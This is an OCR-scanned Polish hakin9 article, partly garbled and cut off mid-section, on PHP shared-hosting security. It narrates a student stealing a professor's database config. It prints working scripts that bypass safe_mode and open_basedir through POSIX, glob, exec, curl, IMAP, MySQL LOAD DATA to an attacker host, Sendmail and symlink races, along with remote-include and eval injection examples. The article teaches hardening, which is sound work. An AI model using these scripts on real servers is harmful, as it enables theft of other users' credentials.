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Bezpieczenstwo kont PHP

Pawet Maziarz |:|

stopien trudnosci

pojedynczego konta?

Z drugiej strony spotykamy programistéw
PHP, ktérzy chcac nam utatwi¢ zycie, pi-
szg wszelkiej masci, bardziej lub mniej
zaawansowane, ptatne lub nie, skrypty PHP
- fora internetowe, ksiegi gosci, systemy CRM,
CMS etc. Czy mozna im zaufaé bezgranicznie?
Oczywiscie, ze nie, jednak niestety w wiekszo-
Sci przypadkow takim Slepym zaufaniem sg ob-
darzani, bo jaki (normalny) webmaster przegla-
dac¢ bedzie setki, czy nawet tysigce linii skryp-
tu PHP, skoro sama ich instalacja moze zabraé
catkiem niemato czasu?

Te dwa zagadnienia bedg dla nas istotne w
niniejszym artykule w trakcie snucia dywagacji
na temat bezpieczenstwa internetowych serwi-
sow WWW opartych o skryptowy jezyk PHP.

Na czym polega gtéwny problem?

Prawie wszystkie serwisy PHP sg w jaki$
spos6b moderowane i w jaki$ sposob sktadu-
ja dane. Najczesciej informacje o uzytkowni-
kach i ich hastach, artykutach, produktach et
cetera sktadowane sg w bazach danych SQL.
Skrypt chcac sie potaczy¢ z owg bazg musi
zna¢ do niej co najmniej login i hasto, co za-
pisywane jest w odpowiednim pliku konfigura-
cyjnym (przewaznie config.php). Czesto ha-
sto do bazy jest identyczne z hastem do kon-
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(" PHP zawtadneto Internetem. Niekomercyjny rynek dynamicznych
serwisow internetowych bazuje na tym jezyku skryptowym, tak
jak czes¢ witryn komercyjnych. Firmy hostingowe przescigaja
sie w przekonywaniu klientéw, proponujac do wyboru PHP4
lub PHPS5, alternatywne serwery baz danych, korzystniejsza
pojemnosé konta. Czy nie zapominaja o bezpieczenstwie

ta FTP/SSH/MAIL na tym serwerze, nie wspo-
minajac o tym, ze rowniez moze pokrywac sie
z innymi hastami konkretnego uzytkownika na
innych serwerach czy tez w bankach (ktéz spa-
mieta tak wiele haset?), zatem ich bezpieczen-
stwo trzeba przyjaé¢ za kluczowe.

Sytuacja na serwerze

Korzystajgc z  niewielkiego  uproszcze-
nia, mozemy przyja¢ dwa mozliwe warian-
ty uruchamiania skryptéw PHP — PHP uzy-
te jako modut demona WWW (mod_php), co

e
Z artykutu dowiesz sie...

jakie sg mozliwosci obejscia zabezpieczen
PHP

na jakie funkcje PHP nalezy zwréci¢ szczegol-
ng uwage w skryptach z ré6znych zrédet

Co powinienes wiedzieé¢...

powiniene$ zna¢ podstawy programowania w
jezyku PHP

* powiniene$ mie¢ pojecie o systemach Linux/
Unix
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oznacza, ze wiascicielem kazde-
go procesu jest ten sam uzytkownik,
z ktérego sprzetu uruchamiana jest

ustuga WWW (najczesciej apache,
nobody, www albo www-data) lub
PHP uruchamiane jako skrypt CGI/

FastCGl, co powoduje, ze wtascicie-
lem procesu jest wiasciciel konkretne-
go skryptu. W pierwszym przypadku,

po umieszczeniu skryptu na serwerze

) nalezy mu da¢ prawa do odczytu dla

wszystkich (np. chmod 644 plik.php),
wida¢ zatem, ze system operacyjny
nie bedzie miat nic przeciw, by kto-
kolwiek inny niz wiasciciel przeczy-
tat ten plik. W przypadku drugim nato-
miast nikt poza witascicielem skryptu
nie musi mie¢ prawa do jego odczytu,
w praktyce jednak rzadko spotyka sie
tak samolubnych uzytkownikéw, a z
drugiej strony i tak pozostajg jeszcze
prywatne pliki uzytkownika, ktére nie

Dyrektywy safe_mode

* safe mode —Wacz lub wylacz safe_mode

* safe mode gid-— sprawdzaj grupe pliku zamiast jego wtasciciela

* safe mode include dir —pomin sprawdzanie uzytkownika/grupy dla plikow
z podanych katalogéw

* safe mode exec dir — ogranicz funkcje uruchamiajgce programy jak exec()
do uruchamiania programéw z podanego katalogu

* safe mode _allowed _env _ vars —zezwol uzytkownikowi na zmiane wartosci
zmiennych zaczynajgcych sie podanym prefiksem

* safe mode protected env vars — zabron uzytkownikowi zmiany wartosci
zmiennych zaczynajacych sie podanym prefiksem

sg skryptami PHP, a wiec by mogty

by¢ serwowane przez ustuge WWW,
muszg mie¢ one zatem prawa doste-
pu jak w przypadku pierwszym.

O autorze

Autor jest wiascicielem i jednoczesnie jednym z gtéwnych programistéw firmy tworza-
cej miedzy innymi oprogramowanie PHP. Od kilku lat wspotpracuje réwniez z firmami
hostingowymi w charakterze administratora. Kontakt z autorem: pawel.maziarz@in-

Nasz maty teatrzyk

tersim.pl. W celu uwidocznienia problemu, zor-
_/ ganizujemy niewielki teatrzyk. Gtow-
- ne role w naszym przedstawieniu be-

Listing 1. fragment pliku /etc/passwd da odgrywac uzytkownicy:
www-data:x:33:33:www-data: /var/www:/bin/false *  www-data — uzytkownik, z ktérego

mieciu:x:1069:100:dr Mieczyslaw:/home/users/mieciu:/bin/false uruchamiany jest demon WWW
haker:x:31337:100:student doktora Mieczyslawa:/home/users/haker:/bin/false

) (Apache2),
— S — FHETATT = rET o
Eile Edit View History Bookmarks Tools Help
@- - @ % @[ ntpuserwerinews/modules/main/main php?configured=1&modules_dir=httpi/senwer. hakera/blah.txt? [-[I>] [C- arg

mpk Dkumik Dpro & & @ E C w M ®» & & o [ &= R H = forum e9 || MsWiz []napisy []mail.novacom |[]akordy []T-Mobile SMS []FDF
wDisabtev |2 Cookies~ E}CSS' = Forms= #*Images~ ‘iﬁlnfurmatiunv [Z] Miscellanecus~ %(Jut!inev [BResize~ '@Tuulsv \T:,View Source- 'ri\Optiuns*

<?php
if (lisset($configured})
die("Nie mozesz wchodzi¢ do tego pliku bezpoirednio!");

$action = (isset($_GET['action'])) ? $_GET['action'] : "";

switch ($action) {
case 'logout':
include("$modules_dir/main/logout.php"); break;
default:
include("$modules_dir/main/$lang-welcome.txt");

PHP Version 5.1.6

System Linux catharsis 2.6.17-10-ref-generic #1 SMP Fri Nov 17 01:18:33
CET 2006 i686

Build Date Nov 2 2006 12:36:15
Server API Apache 2.0 Handler
Virtual Directory disabled

Support

Configuration File
(php.ini) Path

fetc/php5/apache2/php.ini

PHP API 20041225
PHP Extension 20050922
Zend Extension 220051025
Debug Build no

Thread Safety disabled
Zend Memory Manager |enabled

IPv6 Support enabled

Done

3 Applications  Places System e Q‘qﬁ m{ﬂ@ @ phpinfo() - ... m xMMs - 12....| B :‘irg@ca{ham |a l‘irg@cat?"wa‘.. %’QEE i & ﬂE 800MHz 18:06 (1 =ci]) ﬂJ
Rysunek 1. Zrzut ekranu przedstawiajgcy wykorzystanie btedu w uzyciu funkcji include
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*  mieciu — dr Mieczystaw, uczci-
wy pracownik jednej z wyzszych
uczelni, posiadajacy na serwerze
forum dostepne tylko dla swoich
wspotpracownikow, na ktoérym
szczegbétowo omawiajg oni za-
gadnienia na planowane egzami-
ny, kolokwia i kartkéwki,

* haker — student doktora Mieczy-
stawa, ktéry pozyskat konto na
tym samym serwerze, co jego
wyktadowca, w celu umozliwie-
nia sobie uczestnictwa (chocéby
biernego) w dyskusjach tej eli-
tarnej grupy. Listing 1 pokazuje
czesc pliku /etc/passwd dotyczg-
ca tych trzech uzytkownikow.

Przedstawienie

czas zaczac¢

Haker wie, ze forum doktora Mieczy-
stawa znajduje sie na serwerze, na
ktérym wtasnie sam pozyskat konto.
Wie, ze korzysta on z bazy danych.
Zdaje sobie tez sprawe z tego, ze by
osiggna¢ swoj cel musi zdoby¢ do-
step do tej bazy. Wie, ze login i hasto
do niej znajdujg sie na koncie dok-
tora w jednym z plikdw konfiguracyj-
nych. Nie wie jednak pod jakim logi-
nem widnieje wyktadowca w syste-
mie ani tego gdzie poszukiwania ha-
set zaczg¢. Wie natomiast, ze jeze-
li zobaczy liste uzytkownikow, od ra-
zu pozna login nalezacy do doktora.
Pisze wiec prosty skrypt includepas-
swd.php, ktéry wyswietli przegladar-
ce zawarto$c¢ pliku /etc/passwd — Li-
sting 2.

Po wpisaniu adresu skryptu w
przegladarce, czeka go jednak z
pewnoscig widok jednego z komu-
nikatow, ktoére przedstawia Listing
19 lub Listing 20. Za pierwszy odpo-
wiada dyrektywa safe mode, za dru-
giopen _basedir, ktére sg powszech-
nie uzywane.

Dyrektywa safe mode jest jedng z
préb rozwigzania problemu dzielenia
jednego systemu przez wielu uzyt-
kownikéw. Ma na celu ograniczenie
dostepu do zasobow danego uzyt-
kownika wytacznie dla ich wtascicie-
la. Najbardziej charakterystycznym
efektem uruchomienia tej dyrektywy,
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jest kazdorazowe sprawdzanie, czy
wtasciciel otwieranego pliku badz
katalogu jest witascicielem skryptu,
z ktérego zasodb jest otwierany. Je-
zeli nie jest, safe mode zakomuni-
kuje ostrzezenie jak powyzej i ope-
racja zakonczy sie niepowodzeniem.
safe mode posiada tez kilka bardziej

wyspecjalizowanych dyrektyw, ktére
przedstawione sg w ramce.

Dyrektywa ogra-
nicza dostep do plikéw i katalo-
gow do podanej Sciezki. Jezeli plik
badz katalog znajduje sie poza nia,

open _basedir

-

ostatnig linijke wyjscia

linijke wyjscia

przy funkcji fopen)

Funkcje uruchamiajace programy

*  exec — uruchom program, zapisz wyjscie oraz kod powrotu do zmiennych, zwré¢

* passthru— uruchom program, wyswietl jego wyjscie, zapisz kod powrotu
*  system—uruchom program, wyswietl wyjscie, zapisz kod powrotu, zwrd¢ ostatnig

* shell exec (lub polecenie) - uruchom program, zwré¢ cate wyjscie
*  popen —uruchom program, stwérz do niego potok, zwr6¢ wskaznik do plik (taki jak

* proc _open— podobnie jak popen, ale z dwukierunkowa komunikacjg

Lista funkcji POSIX :

*  posix mkfifo — stworz potok fifo

* posix_access — sprawdz dostgp do pliku

* posix ctermid— podaj $ciezke kontrolujgcego terminala

* posix get last error -- podaj numer btedu ostatniej funkcji POSIX
* posix _getcwd— podaj biezgcy katalog

* posix getegid— podaj efektywny ID biezacego procesu

* posix geteuid — podaj efektywny ID uzytkownika biezacego procesu

* posix getgid— podaj prawdziwy ID grupy biezacego procesu

* posix getgrgid — pobierz informacje na temat grupy o podanym ID

* posix getgrnam— pobierz informacje na temat grupy o podanej nazwie
* posix getgroups — podaj liste grup biezgcego procesu

* posix getlogin— podaj nazwe uzytkownika

* posix _getpgid— podaj grupe procesu podanego jako argument

* posix _getpgrp — podaj identyfikator grupy biezacego procesu

* posix getpid— podajaktualny PID procesu

* posix getppid— podaj PID procesu-rodzica

* posix _getpwnam— podaj informacje o uzytkowniku o podanej nazwie

* posix getpwuid— podajinformacje o uzytkowniku o podanym ID

* posix getrlimit — podajinformacje o limitach systemowych

* posix getsid— podaj SID procesu

* posix getuid— podaj prawdziwy ID uzytkownika biezgcego procesu

* posix _isatty—sprawdz, czy identyfikator pliku jest interaktywnym terminalem
* posix _kill —wysSlij sygnat do procesu

* posix mknod — stworz specjalne urzadzenie

* posix _setegid — ustaw efektywna grupe biezgcego procesu
* posix _seteuid — ustaw efektywnego uzytkownika procesu

* posix setgid— ustaw grupeg biezacego procesu

* posix setpgid— ustaw grupe group id for job control

* posix setsid— ustaw biezacy proces liderem ses;ji

* posix _setuid—ustaw UID biezacego procesu

* posix _strerror — podaj tekst bledu o podanym jako argument numerze
* posix _times — podaj wyznaczniki czasowe procesu

* posix _ttyname — podaj nazwe urzgdzenia terminala

* posix _uname — podaj informacje o systemie

www.hakin9.org




Bezpieczienczstwo kont PHP

-~
Listing 2. skrypt includepasswd.php wyswietlajgcy plik /etc/passwd

‘php
header ("Content-type: text/plain");
include ("/etc/passwd") ;

Listing 3. skrypt posixcatpasswd.php
<?php

header ("Content-type: text/plain");
for (Suid = 0; Suid <= 65535; Suid++) {

if (($pw = posix getpwuid($uid))) {

echo implode (":" . "\n";

flush () ;

, Spw)

Listing 4. globtest.php

’php
ini set ("display errors", 1);
error_reporting (E_ALL);

$files = glob(,/home/users/mieciu/*");

Listing 5. skrypt globshowsomefiles.php

’php
ini_set ("display errors", 1);
error_reporting(E_ALL);
$dir = (isset($ _GET['d'])) ? $ GET['d']

FERTEIIN
H 7

for ($i = 65; $i <=
glob ("$dir/" .

glob("$dir/" .

90; $i++) |
strtolower (chr ($i))
chr ($1)

LR
. 7

Loy

\

~

£ Firefox

File Edit View History Bookmarks Tools Help

- @

2 kurnik

Cpo @ BEOACwvE &R =h HRA®E

o @ | > http://serwer/mieciufevalcalc.php

) mpk

<7php
$expr = (isset($_POST['expr'1}) ? $ POST['expr'] : "*;
if (@get_magic_quotes_gpc())

$expr = stripslashes($expr);

if (lempty($expr}) {
eval("\$result = $expr;"};
echo "Wynik wyrazenia Sexpr to $result";

echo "<hr=<form action='$ SERVER[PHP SELF]' method='POST'>";
echo "wyrazenie: <input name='expr' size='64' value='$expr'>";
echo "<input type='submit' value='wylicz'>";

echo "</form>";

>

Wynik wyrazenia 2+2*2<<2; highlight file($ SERVER["SCRIPT FILENAME"]) to 24

xDisablev || Cookies~ E:}CSS' & Forms= o Images~ & Information~ [Z] Miscellaneous~ &/'-’Outline' [2Re

»

wyTazenie: [2+2+2=<2; nighlight_file(s_SERVER["SCRIPT_FILENAME"])

wylicz I

Done

|

Rysunek 2. Zrzut ekranu przedstawiajgcy dziatanie funkcji eval

wyswietlany jest odpowiedni komu-
nikat i operacja konczy sie niepo-
wodzeniem. Najczesciej kazdy uzyt-
kownik posiada na serwerze odpo-
wiednio zdefiniowang Sciezke w dy-
rektywie open_basedir.

Mozna wiec poczyni¢ wnioski, ze
na serwerze, na ktérym te dyrektywy
albo chociaz open basedir S8 zde-
finiowane, uzytkownik ma dostep do
plikéw tylko w swoim katalogu do-
mowym, jednak nie jest to wcale ta-
kie proste. Do naszego scenariusza
dopusémy zatem okolicznosé¢, ze na
serwerze ustawione sg odpowiednio
obie restrykcje i dajmy hakerowi sie
wykazaé.

Haker postuguje sie wiec alterna-
tywng metode odczytania pliku /etc/
passws, tworzac tym samym skrypt
posixcatpasswd.php przedstawiony
na Listingu 3.

Po wpisaniu adresu tego skryp-
tu, w przegladarce bedzie sie suk-
cesywnie, linijka po linijce, ukazywaé
zawarto$¢ pliku /etc/passwd, ktory
zawiera informacje o uzytkownikach.
Efekt taki haker uzyskat dzieki funkgcji
posix_getpwuid, zwracajgcej infor-
macje o uzytkowniku, ktérego iden-
tyfikator podany zostanie jako argu-
ment. Wykorzystujac petle for z war-
tosciami z zakresu 0-65535, haker
jest pewien, ze zostanie wyswietlona
lista wszystkich uzytkownikéw z uni-
katowymi identyfikatorami UID.

Funkcja posix getpwuid nalezy
do rodziny funkcji POSIX, ktore prze-
waznie sg wkompilowane domysinie
w pakiety binarne z PHP. By skom-
pilowa¢ PHP bez modutu POSIX, wy-
starczy przed kompilacjag PHP dodaé
do linii polecenia configure przetacz-
nik —disable-posix. Trzeba doda¢, ze
funkcje POSIX nie biorg pod uwage
zadnych testow wynikajacych z dy-
rektyw open_basedir badz safe_mo-
de, wiec jedyne zabezpieczenie przed
nimi to wytaczenie podczas kompila-
cji, badz dodanie ich do dyrektywy
disabled _functions Z php.ini.

W ramce obok przedstawione sg
wszystkie funkcje POSIX (nie sg one
dostepne na platformie Windows).

Napastnik tym sposobem roz-
poznat od razu, ze login dokto-
ra Mieczystawa to mieciu i wie juz,

www.hakin9.org
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ze jego katalogiem domowym jest
/home/users/mieciu/. Nie moze jed-
nak w tradycyjny sposob (czyli za po-
mocg funkcji opendir/readdir) pobrac
zawartosci katalogu domowego dok-
tora, poniewaz nie pozwoli na to dy-
rektywa open_basedir i/lub safe_mo-
de. Istnieje jednak w PHP bardzo cie-
kawa funkcja glob, ktéra zwraca liste
plikéw pasujacych do wyrazenia, ja-
kie sie jej poda, np. konstrukcja $ob-
razki_jpg = glob(,img/*jpg”); zwrd-
ci w tablicy nazwy wszystkich plikéw
z rozszerzeniem .jpg w katalogu img.
Ale czy wczesniej omowione zabez-
pieczenia PHP nie powstrzymajq jej
w razie proby penetracji katalogu in-
nego uzytkownika? Przeciwnie! Zro-
big to. | dadzg nam to wyraznie do zro-
zumienia. Bardzo wyraznie. Spéjrzmy
na Listing 4 przedstawiajacy dziatanie
tej funkcji.

Pierwsze dwie linijki skryp-
tu globtest.php wystepuja w celu
upewnienia sie, ze PHP wyswietli
nam wszystkie btedy i ostrzezenia.
Ostatnia natomiast probuje zapisaé
w zmiennej $files tablice z nazwami
plikow i katalogéw uzytkownika mie-
ciu, jednak zamiast tego wyswietli ta-
kie ostrzezenie:

Warning: glob() [function.glob]:
open_basedir restriction in effect.
File (/home/users/mieciu/Mail) is
not within the allowed path(s): (/tmp:
/home/users/haker) in /home/users/
haker/public_html/globtest.php on

line 5

Dzieki uzyciu gwiazdki, funkcja
glob dopasowata pierwszy katalog
u doktora Mieczystawa, nastepnie
zajat sie nim open_basedir spraw-
dzajac, czy jest on dostepny dla ha-
kera, a jako, ze oczywiscie nie jest,
PHP odpowiednio to zakomuniko-
wat, podajac w ostrzezeniu nazwe
pliku. Idac tym tropem, mozna ta-
two zgadna¢, ze zapis glob(,/home/
users/mieciu/a*”); wyswietli ostrze-
zenie o braku dostepu do pierwsze-
go pliku rozpoczynajacego sie lite-
ra a, o ile taki bedzie istniat. Haker
tworzy wtedy szybko skrypt glob-
showsomefiles.php przedstawiony
na Listingu 5.

Po wejsciu hakera na strone http./
/serwer/globshowsomefiles.php?d=/
home/users/mieciu, w przegladarce
wyswietlg sie mu pierwsze pliki za-
czynajace sie od matej lub duzej lite-
ry(Listing 21)

Jak widaé, dzieki funkcji glob
mozna poznac $ciezki prywatnych
plikéw uzytkownika, na przyktad ma-
teriatow czy zdje¢, do ktérych ad-
res znajg tylko nieliczne uprawnione
przez niego osoby. Idac tym tropem,

-~
Listing 6. skrypt runlola.php

’php
header ("Content-type: text/plain");
ini_set ("display errors", 1);

error_reporting(E_ALL);

echo "exec()\n";

if (exec("cat Sfile", Sret)
S$buf = join($ret, "\n");
echo "$buf\n";

echo "system()\n";
Sret = system("cat $file");

echo "Sret\n";

echo "shell exec()\n";
Sret = shell exec("cat $file");

echo $ret;
echo "passthru()\n";

readfile ("/tmp/.passthrutest");
unlink ("/tmp/.passthrutest");

echo "popen()\n";

S$fp = popen("cat Sfile", "r");

(($buf = fgets($fp, 4096)
echo "S$buf";

pclose ($fp);

while

if (function exists("proc open"
echo "proc_open\n";
$descriptorspec = array |
0 => array("pipe", "r"),
1 => array("pipe", "w"),

2 => array ("pipe", "w"));
while

echo Sbuf;
proc_close ($po);

Listing 7. skrypt curlread.php
‘php
if (function exists("curl init"
echo curl exec($ci);

else

passthru("cp $file /tmp/.passthrutest");

echo "brak rozszerzenia curl.";

~

$file = "/home/users/mieciu/public html/forum/cfg.php";

$po = proc open("cat $file", Sdescriptorspec, S$pipes);
((Sbuf = fgets($pipes[1l], 4096)

$file = "/home/users/mieciu/public_html/forum/cfg.php";
$ci = curil init("file://$file");

hakin9 Nr 3/2007
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haker znajduje katalog home/users/
mieciu/public_html/forum/ a w nim

plik cfg.php:
Warning: glob() [function.glob]:
open_basedir restriction in effect.
File (/home/users/mieciu/public_html/
forum/cfg.php) is not within the
allowed path(s): (/tmp:/home/users/
haker) in /home/users/haker/

public html/globtest.php on line 8

Odnalezienie tego pliku, to juz poto-
wa sukcesu, wystarczy go juz teraz

tylko odczyta¢. Naturalnie funkcja
glob juz w tym nie pomoze. Trzeba
po raz kolejny przechytrzy¢é open

basedir | safe _mode.

Rodzina funkcji exec

PHP, jak kazdy jezyk programowa-
nia, oferuje mozliwos¢ uruchamiania
zewnetrznych aplikacji. Jest to bar-
dzo przydatna cecha, a niekiedy nie-
zbedna, na przyktad wowczas, gdy
PHP skompilowane jest bez obstugi
GD - rozszerzenia do manipulowania
grafikg. Powszechnie uzywa sie ko-

Listing 8. imaptest.php
’php
if (function exists("imap open"
if ($stream

echo imap body (Sstream, 1);

imap_close (Sstream);

else

echo "brak funkcji imap";

Listing 9. mysqlloaddatalocal.php
’php

header ("Content-type: text/plain");

$mysqluser="haker";
$mysqglpass="tajnehaslo";
Smysglbase="haker";
S$mysglhost="host.hakera.pl";

if (function_exists("mysql connect"))
echo mysql_error();

else {

mysql select db(Smysqglbase);

error());
error());

echo $row["blah"];

mysql free result(S$res);
mysql close();
}

else

echo "brak rozszerzenia mysql.";

$file = "/home/users/mieciu/public_html/forum/cfg.php";

Sstream = imap_open ($file, "", "") or print_r(imap_errors());

$file = "/home/users/mieciu/public html/forum/cfg.php";

if (!mysqgl connect ($mysqlhost, S$mysqluser, Smysqglpass)

mysql query ("CREATE TABLE mysqldatatest (blah LONGBLOB)") or
print(mysql_error());

mysql query("LOAD DATA LOCAL INFILE '$file' INTO TABLE mysgldatatest
LINES TERMINATED BY 'hakervsmieciu'") or print (mysqgl_

$res = mysql query("SELECT blah FROM mysqgldatatest") or print (mysql

while ((Srow = mysqgl fetch assoc($res)))

mysgl_query ("DROP TABLE IF EXISTS mysqldatatest");

~

mend wchodzacych w skfad popular-
nego pakietu ImageMagick (miedzy
innymi polecenia convert, identify).
Jest to tez znaczgce udogodnienie w
przypadku konwertowania klipow fil-
mowych (polecenie mencoder), czy
w koncu, kiedy skrypty uzywajg wita-
snego autorskiego oprogramowania
(na przyktad do zmiany hasta uzyt-
kownikow poprzez interfejs WWW).

Oczywistym jest jednak fakt, ze
mozliwos¢ uruchamiania progra-
mow wigze sie z istothg konsekwen-
cja, mianowicie takg, ze dyrekty-
WY open _basedir OFazZ safe _mode
nie sg w stanie sprawdza¢ czy, i ja-
kie pliki otwierajg uruchamiane pro-
gramy. Istnieje jednak dyrektywa
safe mode exec dir deﬁnhﬂapa
Sciezke, w ktérej musze znajdowaé
sie programy, ktére uzytkownik chce
uruchomié. Aby jednak safe mode _
exec dir zadziatato, musi by¢ wta-
czone samo safe_mode (z czego tak
naprawde wielu administratorow re-
zygnuje, bo przysparza to de facto
wiecej problemoéw niz korzysci). Al-
ternatywnym rozwigzaniem dla ad-
ministratora jest dodanie tych funk-
cji do dyrektywy PHP disable_func-
tions, ktéra wytacza je z uzycia, a
jako, ze mozna to zrobi¢ poniekad
niezaleznie dla kazdego uzytkow-
nika, okazuje sie to czesto stoso-
wang praktyka. Funkcje stuzgce do
uruchamiania programow przedsta-
wione sg wraz z krétkim opisem w
ramce.

Haker tworzy wiec skrypt runlo-
la.php, ktéry testuje po kolei funkcje
opisane powyzej — Listing 6.

Jak sie jednak okazuje, admini-
strator przewidziat takie zachowania
hakera i jednym ze wspomnianych
wczesniej sposobow uchronit dokto-
ra Mieczystawa przed atakiem tego
typu. Przed hakerem ciggle stoi wiec
nie lada wyzwanie.

Rozszerzenia PHP

Moze dyrektywy open_basedir i sa-
fe_mode majg szanse sie spraw-
dzi¢ w wielu przypadkach, jednak
niekwestionowanym tego warun-
kiem jest koniecznos¢ wykonywa-
nia odpowiednich testéw wszedzie
tam, gdzie dana funkcja ma kontakt
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z plikami. O ile w wigkszos$ci rozsze-
rzen PHP jest to zrobione jak nale-
2y, o tyle co jakis czas odkrywane sg
braki takich testéw w niektérych bar-
dziej lub mniej popularnych rozsze-
rzeniach. Przewaznie zdarza sie to
wskutek zaniedbania programisty,
jednak czasem moze okazac sie tez
po prostu niemozliwe do zaimple-
mentowania.

Do niedawna takim zaniedba-
niem mogto sie niechlubnie szczy-
ci¢ rozszerzenie CURL, stuzace do
pobierania plikéw za pomoca wielu
mozliwych protokotéw — http, https,
ftp, gopher, telnet, Idap, dict, a takze
file — czyli lokalny dostep do plikéw.
Skrypt wykorzystujacy takie niedo-
ciggniecie mogtby wiec wygladaé
jak curlread.php przedstawiony na

Listingu 7.
Brak odpowiednich testéw zdia-
gnozowano réwniez stosunkowo

niedawno w funkcjach rozszerze-
nia IMAP, stuzgcego do dostepu
do skrzynek lokalnych pocztowych,
IMAP, POP3 oraz NNTP. Zaniedba-
nie w funkcjach imap_open oraz
imap_reopen mozna byto wykorzy-
sta¢ w przedstawiony na Listingu 8
skrypcie.

Ciekawe zjawisko mozna byto
rébwniez do niedawna zaobserwo-
wac w funkcjach obstugujacych baze
MySQL. Istnieje bowiem dla tej ba-
zy mozliwos¢ uzupetnienia okreslo-
nej tabeli danymi z pliku znajdujace-
go sie na komputerze klienta, stuzy
do tego zapytanie LOAD DATA LO-
CAL INFILE plik INTO TABLE tabe-
la. Mozna wiec byto stworzy¢ tym-
czasowg tabelke na dowolnym ser-
werze z bazg MySQL (zdalnym lub
lokalnym), potaczy¢ sie z nig, a na-
stepnie wykona¢ przedstawione wy-
zej zapytanie, po czym odczyta¢ za-
warto$¢ pliku z tabelki. Dziatanie ta-
kie przedstawione jest na Listingu 9.

Jednakze programisci PHP zde-
cydowali sie ostatnio na bezkompro-
misowe rozwigzanie tego problemu
i w momencie kiedy uzywana jest
dyrektywa open basedir, ustawia-
na jest przy taczeniu z bazg danych
opcja niepozwalajgca tworzy¢ zapy-
tan z tg konstrukcjg (a zeby zapyta-
nie sie powiodto, musi by¢ na to po-

-~
Listing 10. skrypt mbsendmailtest.php

’php
header ("Content-type: text/plain");
$file = "/home/users/mieciu/public_html/forum/cfg.php";

if (function_exists("mb send mail"

mb_send mail (NULL, NULL, NULL, NULL, "-C $file -X /tmp/.mb send mail");

if (file_exists("/tmp/.mb_send mail"
readfile ("/tmp/.mb_send mail");

unlink ("/tmp/.mb_send mail");

else

echo "brak funkcji mb_send mail";

Listing 11. symlinksfun.php

‘php
ini_set ("display errors", 1);

error_reporting (E_ALL);

mkdir("1/2/3/4/5", 0777, true);
symlink("1/2/3/4/5", "tango");
symlink ("tango/../../../../../", "cash");

echo "pierwszy dostep do katalogu cash...<br>";
print r(glob("cash/*"));

unlink ("tango") ;

symlink(".", "tango");

echo "<br>drugi dostep do katalogu cash...";

print r(glob("cash/*"));

Listing 12. alternatelinks.php

“php
mkdir("1/2/3/4/5", 0777, true);
symlink("1/2/3/4/5", "tango");
symlink ("tango/../../../../../", "cash");
while (1)
unlink ("tango");
symlink (".", "tango");
unlink ("tango");
symlink("1/2/3/4/5", "tango");

Listing 13. readfileloop.php

“php
header ("Content-type: text/plain");
$file = "cash/home/users/mieciu/public_html/forum/cfg.php";
while (Q@readfile ($file) == false);

Listing 14. badinclude.php

’php
$skin = (isset($ GET['skin'] 2 $ GET['skin'] : "default";
include ($skin . " skin/main.inc");
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Listing 15. blah.txt
‘php

highlight file ($_SERVER['SCRIPT_FILENAME']) ;
phpinfo () ;

Listing 16. badinclude1.php

‘php
$skin = (isset($ GET['skin'])) ? $ GET['skin'] : "default";
$skin = "skins/$skin/main.inc";

if (file_exists($skin)

include ($skin);

Listing 17. evalcalc.php — szybki kalkulator w php

’php
Sexpr = (isset($ POST['expr'])) ? $ POST['expr'] : "";
if (Qget_magic_quotes_gpc())
Sexpr = stripslashes ($expr);
if (lempty ($expr)) {
eval ("\$result = Sexpr;");

echo "Wynik wyrazenia $expr to $result";

echo "<hr><form action='$ SERVER[PHP_SELF]' method='POST'>";

echo "wyrazenie: <input name='expr' size='64' value='Sexpr'>";

echo "<input type='submit' value='wylicz'>";

echo "</form>";

Listing 18. illusion.php

‘php
$skin = (isset($ GET['skin'])) ? $ GET['skin'] : "default";
$skin = "skins/$skin/main.inc";

/* zabezpieczmy sie przed sytuacja, gdy haker chce wyjs¢ katalog wyzej */

$skin = str_replace("../", "", $skin);
if (file_exists($skin)

include ($skin);

Listing 19. dyrektywa safe_mode

Warning: include() [function.include]:
SAFE MODE Restriction in effect.

The script whose uid is 31337 is not
allowed to access

/etc/passwd owned by uid 0 in
/home/users/haker/public
html/includepasswd.php on line 3

Warning: include (/etc/passwd)
[function.include]: failed to open
stream: No such file or directory in
/home/users/haker/public
html/includepasswd.php on line 3

Warning: include() [function.include]:

Failed opening '/etc/passwd'

for inclusion (include_path='.:/usr/share/php:
/usr/share/pear') in
/home/users/haker/public_
html/includepasswd.php on line 3

www.hakin9.org

zwolenie zaréwno po stronie klienta
jak i serwera).

Wystepuja jednak sytuacje, na
ktére zabezpieczenia na poziomie
PHP nie maja wptywu. Na przyktad
istnieje funkcjamb send mail, ktéra
stuzy do wysytania maili z odpowied-
nim kodowaniem. Abstrahujac od te-
go, czemu ona doktadnie stuzy, wy-
czyta¢ mozna w dokumentaciji, ze w
przypadku kiedy safe_mode jest wy-
taczone, mozna podaé opcjonalnie
jako ostatni argument parametry linii
polecen dla MTA (ang. Mail Transfer
Agent) czyli programu dostarczaja-
cego poczte. | tak demon Sendma-
il moze przyja¢ miedzy innymi takie
dwa ciekawe parametry:

* C plik — $ciezka do alternatywne-
go pliku konfiguracyjnego

* X plik — $ciezka do pliku, w kto-
rym zapisany bedzie dos¢ szcze-
gotowy log.

Co to daje hakerowi? Wbrew pozo-
rom catkiem niemato, spojrzmy na
Listing 10.

W ostatnim argumencie ha-
ker podaje jako plik konfiguracyj-
ny dla Sendmaila plik konfigura-
cyjny do forum doktora Mieczysta-
wa jednoczesnie proszac o logi do
pliku /tmp/.mb _send mail. Oto co
haker zobaczy w przypadku wytg-
czonego safe mode Oraz MTA w
postaci Sendmaila na serwerze-
(Listing 22)

Jak wida¢ Sendmailowi nie od-
powiadata zadna linijka z podane-
go pliku konfiguracyjnego, co skru-
pulatnie odnotowat, dzieki cze-
mu z jego logbw mozna praktycz-
nie odtworzy¢ caty plik. Inne MTA
jak Postfix czy Exim dziatajg nieco
inaczej niz Sendmail, wiec powyz-
szy przyktad dotyczy tylko sytuacji
z tym demonem na serwerze. Moze
jednak inne MTA majg inne opcje,
ktére mozna odpowiednio wyko-
rzystac?

WysScig z safe mode | open
basedir
Wiemy juz, jak dziatajg dyrektywy
safe_mode i open basedir — kiedy
uzytkownik chce uzyskaé dostep
do pliku lub katalogu, sprawdzane
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sq odpowiednie Sciezki lub ich wta-
Sciciel. Jezeli plik jest poza Sciezkg
wyznaczong przez open_basedir
badz jego wtascicielem nie jest wia-
Sciciel skryptu (w przypadku safe _
mode), odmawiany jest uzytkowniko-
wi do zasobu dostep. Spdjrzmy na
Listing 11.

Natomiast wynik zobaczymy na
Listingu 23.

